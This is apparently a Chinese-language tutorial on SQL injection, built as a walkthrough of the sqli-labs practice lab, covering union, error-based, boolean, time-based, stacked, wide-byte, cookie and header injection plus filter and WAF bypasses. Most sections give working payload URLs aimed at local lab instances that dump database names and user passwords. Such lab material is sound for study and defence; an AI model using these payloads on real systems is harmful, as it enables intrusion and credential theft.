SQL注入
成因:
- 处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句
- 未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中
注入点可能存在的位置
- GET数据
- POST数据
- HTTP头部
- Cookie数据
- …
分类
- 联合查询
- 报错注入
- 布尔注入
- 延时注入
- 堆叠查询
MySQL相关函数
函数名 作用 version() 返回数据库版本 database() 返回数据库名 user()
current_user()
system_user()返回用户名 @@datadir 返回数据库路径 @@version_compile_os 返回操作系统版本 length() 返回字符串长度 substring()
substr()
mid()截取字符串:
参数1:字符串
参数2:起始位置,索引从1开始
参数3:截取长度concat() 不带分隔符链接字符串 concat_ws() 带分隔符链接字符串:
concat_ws(’-’,‘a’,‘b’,‘c’)group_concat() 链接一组查询结果字符串 ord()
ascii()返回字符串的ASCII值 left() 从左边开始截取字符串:
参数1:字符串
参数2:截取的长度rand() 返回0-1之间的浮点数 round() 四舍五入:
round(4.,2)–>4.23floor() 向下取整 load_file() 返回读取文件的内容,返回字符串类型 if() 判断:if(exp1,exp2,exp3):
如果exp1为真,返回exp2,否则返回exp3updatexml() 报错注入可以用到的函数,如果参数2格式不正确,会报错误信息,此时将需要的函数填在这里就会爆出需要的信息
参数1:string格式,为xml文档对象的名称
参数2:xpath格式的字符串
参数3:string格式,替换查找到的符合条件的数据addslashes() 转义特殊字符(’ " \) hex() 将字符串转换为16进制 unhex() limit m,n 从m开始 查找n条(索引从0开始)
1.联合查询
使用union连接两张表。
sqli-lab less1:
步骤:
- 判断注入点:单引号注入
- 判断列数:order by
- 查找数据库名:database()
- 查找表:
http://localhost/sql/Less-1/?id=-1’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’) --+
- 查找字段:
http://localhost/sql/Less-1/?id=-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’),3 --+
- 查找数据:
http://localhost/sql/Less-1/?id=-1’ union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3 --+
2.报错注入
updatexml报错注入
updatexml需要三个参数,作用是改变文档中符合条件的节点的值
参数1:string格式,为xml文档对象的名称
参数2:xpath格式的字符串
参数3:string格式,替换查找到的符合条件的数据
sqli-lab less5:
步骤:
- 查找库:
http://localhost/sql/Less-5?id=1’ union select updatexml(1,concat(0x7e, (select database() )),2) --+
0x7e=~
由于updatexml的第二个参数需要xpath 格式的字符串,concat函数用~符号开头不是xml的语法,所以就会将括号内的执行结果以错误的形式报出,如上图所示,这样就实现了报错注入。
- 查找表:
http://localhost/sql/Less-5?id=1’ union select updatexml(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database() )),2) --+
- 查找字段:
http://localhost/sql/Less-5?id=1’ union select updatexml(1,concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’ )),2) --+
- 查找数据:
由于updatexml报错只显示一条数据,所以需要使用limit逐个爆出数据。
http://localhost/sql/Less-5?id=1’ union select updatexml(1,concat(0x7e, (select concat_ws(0x7e,username,password) from users limit 0,1)),2) --+
extractvalue报错注入
作用:对xml文档进行查询的函数,手法与updatexml函数相同。
参数1:目标xml文档名
参数2:xpath格式的字符串
参数2错误就会爆出与updatexml相同的报错信息。
查找库示例:
http://localhost/sql/Less-5?id=1’ union select extractvalue(‘anything’,concat(0x7e, (select database() ))) --+
floor(group by)报错注入
floor报错注入是三个函数一起作用:floor(), count(), rand(),group by
原理:https://www.cnblogs.com/litlife/p/8472323.html

sqli-lab less5:
- 查找库:如下图所示。
http://localhost/sql/Less-5?id=-1’ union
select 1,
count(*),
concat( (select database()) , 0x7e, floor(rand(0)*2) )as a
from information_schema.tables group by a --+剩下的查询只需要将select database() 替换为我们需要的即可。
- 查找表:如下如所示

http://localhost/sql/Less-5?id=-1’ union
select 1,
count(*),
concat( (select table_name from information_schema.tables where table_schema=database() limit 0,1 ) , 0x7e, floor(rand(0)*2) ) as a
from information_schema.tables group by a --+
- 查找字段:

http://localhost/sql/Less-5?id=-1’ union
select 1,
count(*),
concat( (select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1 ) , 0x7e, floor(rand(0)*2) )as a
from information_schema.tables group by a --+
- 查找数据:

http://localhost/sql/Less-5?id=-1’ union
select 1,
count(*),
concat( (select concat(username, 0x7e, password) from users limit 0,1 ) , 0x7e, floor(rand(0)*2) )as a
from information_schema.tables group by a --+
3.布尔注入
页面不回显数据,也不产生报错信息。
只返回“正确”或“错误”的页面。
sqli-lab less8:
http://localhost/sql/Less-8?id=1’ and left(database() ,1)=‘s’–+
http://localhost/sql/Less-8?id=1’ and substr(database() ,1,1)=‘s’–+
http://localhost/sql/Less-8?id=1’ and substring(database() ,1,1)=‘s’–+
http://localhost/sql/Less-8?id=1’ and mid(database() ,1,1)=‘s’–+
http://localhost/sql/Less-8?id=1’ and substring(database() ,1,1)=‘s’–+
http://localhost/sql/Less-8?id=1’ and ascii(substr(database() ,1,1))=115–+
4.延时注入
在页面无报错,无回显,布尔注入无法判断的情况下可以用延时注入。
主要用到的函数有:
sleep()|benchmark(),if()…
sqli-lab less9:
http://localhost/sql/Less-9/?id=1’ and if(length(database())=8,sleep(5),1) --+
http://localhost/sql/Less-9/?id=1’ and if( substr(database() ,1,8)=‘security’ ,sleep(5),1) --+
5.堆叠查询
payload:';select if(substr(database(),1,1)='s',sleep(5),1)--+'
在堆叠查询注入页面中,GET参数id时使用PDO的方式进行数据查询,但仍然将参数ID拼接到查询语句,导致PDO没起到预编译的效果。
使用PDO执行SQL语句,可以执行多条语句,不过这样通常不能得到注入结果,因为PDO只会返回第一条SQL语句的结果,所以在第二条语句中可以用update更新数据或者延时注入获取信息。
其他注入方式
1.宽字节注入
sqli-lab less32:
当我们正常输入Less-32/?id=1时,页面正常显示,有回显。

在1后面添加单引号’:

页面提示我们1后面的单引号被反斜线转义了,[1\’]变成了16进程的[315c27]。转义后我们添加的单引号就无法在SQL语句中起作用。
测试发现无论单引号还是双引号都被转义。
我们的目的就是要使转义符号反斜线\失效。
原理:
正常情况下,一个字节可以表示一个字符,但是汉字需要两个字节表示一个字符。
gbk正是表示汉字的编码方式,需要两个字节来表示一个字符。
查询的时候需要将sql语句转换为16进制编码,当我们在添加参数时程序会对我们的参数进行转义,最后再使用16进制的解码查询。
当我们添加的参数有单引号时,程序自动对单引号转义变成\’,最后变成%5C%27。我们可以自己先在参数中添加%,然后%后面跟gbk的编码范围8140-FEFE,df属于这个区间,最后可以构造成%df。当我们提交参数%df',程序先对单引号转义就变成%df\',然后数据库执行查询时进行16进制编码,变成%df5c27,gbk读取到df时,正好在gbk的编码范围内,gbk就会读取两个字节%df5c,这样反斜线\的16进制编码就失效了。只剩下一个单引号可以继续起作用。
其实可以将df替换为gbk编码范围的其他字符。


2.Cookie注入
sqli-lab less20:cookie注入
在登录完成之后,服务器端给浏览器下发cookie,再次刷新页面时浏览器端携带cookie从服务器端获取信息。
服务器端会将cookie带入数据库查询,返回已登录用户的信息。此时就是cookie注入的注入点。
通过bp修改cookie信息,使用报错方式显示出数据库名。

3.Base64注入
sqli-lab less22:base64型的cookie报错注入
登录后服务端首先将cookie信息进行base64编码,然后将编码后的信息下发到浏览器端。浏览器再次发送请求时将携带经过编码的cookie(注入点发生在这里,直接发送经过编码攻击语句)。服务端利用base64_decode()解码,然后带入数据库进行查询。

4.HTTP头部注入
1.User-Agent注入
sqli-lab less18:

2.Refer注入
sqli-lab less19:
注入点发生在refer信息。

Sqli-Lab 通关
less 21:cookie的base64编码注入
闭合方式:’)
uname=1’) select 1,2,database()#
经过base64编码之后:
uname=MScpIHVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSM=
less22:base64型的cookie注入
见上文。
闭合方式:"
1" and updatexml(1,concat(’’,database(),’’),1)#
MSIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgnXicsZGF0YWJhc2UoKSwnXicpLDEpIw==
less 23:过滤字符
过滤:# 和–+
http://localhost/sql/Less-23/?id=-3’ union select 1,database(),3 and ‘1’ ='1

less 25:过滤or和and的单引号注入
http://localhost/sql/Less-25/?id=-1’ union select 1,2,database()–+
less 25:过滤or和and的数字型注入
http://192.168.17.137/sql/Less-25a/?id=-1 union select 1,database(),3 --+
less 26:'的过滤注入
过滤字符:

http://192.168.17.137/sql/Less-26/?id=1’anandd(updatexml(1,concat(0x5e,database(),0x5e),1))aandnd’1’='1
less 26a:’)的过滤注入
过滤方式与less 26 相同,闭合方式为’)。
但是不报错了,所以不能用报错注入,这里采用延时注入。
http://192.168.17.137/sql/Less-26a/?id=1’)anandd(if(length(database())=8,sleep(5),1))aandnd’1’=('1
less 27:'的过滤注入
过滤字符:

采用报错注入:
http://192.168.17.144/sql/Less-27/?id=1’and(updatexml(1,concat(0x5e,database(),0x5e),1))and’1’='1
less 27a:"的过滤注入
过滤字符同上,闭合方式为"
但是没有报错信息。
采用盲注的方法:
http://192.168.17.144/sql/Less-27a/?id=1"and( if( length(database())=8,sleep(5) ,1) )and"1"="1
less 28:’)的过滤注入
过滤字符:
闭合方式:’)

采用报错注入
http://192.168.17.144/sql/Less-28/?id=1’)and(updatexml(1,concat(0x5e,database(),0x5e),1))and’1’=('1
less 28a:’)的过滤注入
过滤字符同上,闭合方式也同上。
但是没有报错信息。
less 29:WAF绕过
由于我搭建的wamp环境,无法正常运行less29。
所以可以参考这篇文章:https://www.cnblogs.com/lcamry/p/5762961.html
我们查看源码可以发现,在login.php中有一个whitelist白名单函数,作用是用来过滤参数。
如下:

该函数为只允许用户输入数字.
http://192.168.17.144/sql/Less-29/?id=1&id=-1’ union select 1,2,database()%23
less 30:
与less29相同,只需把单引号换成双引号。
less 31
原理同less 29,闭合方式为")
less 32: 宽字节注入
见上。
less 33:宽字节注入
与less 32一样
less 34:post型的宽字节注入

less 35:数字型注入

直接使用联合查询即可。
less 36:
http://192.168.17.144/sql/Less-36/?id=-1%df’ union select 1,2,database()–+

使用mysql_real_escape_string()来过滤,该函数的作用是转义MySQL语句中的特殊字符。
仍然可以使用宽字节注入的方式来完成。
less 37:
与36关相似,只是请求方式发生变化,变为post方式提交,使用bp抓包修改即可。

另一种方法:


1�’ union select database(),2#
关于宽字节注入的个人理解:
- 不管是get参数还是post参数,浏览器提交时都会先对其进行url编码后再发送数据包。(对非ascii码字符)
(碰到%时绕过,保留字除外【&,=】)
eg:id=1%df’ url编码后:id=1%df%27
- 服务器收到后先对参数进行url解码eg:
eg:%df%27 url解码后:�’
- 程序对单引号’转义:‘变成\’
- 此时参数为�\’
- 由于数据库编码方式为GBK,该参数字符无法识别
- 将参数转码为16进制编码
eg:�\’ 16进制编码后:%df%5c%27
- GBK解码:%df在GBK编码范围内,所以会连续读取两个字节(%df%5c)
- 解码后:運’

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/130040.html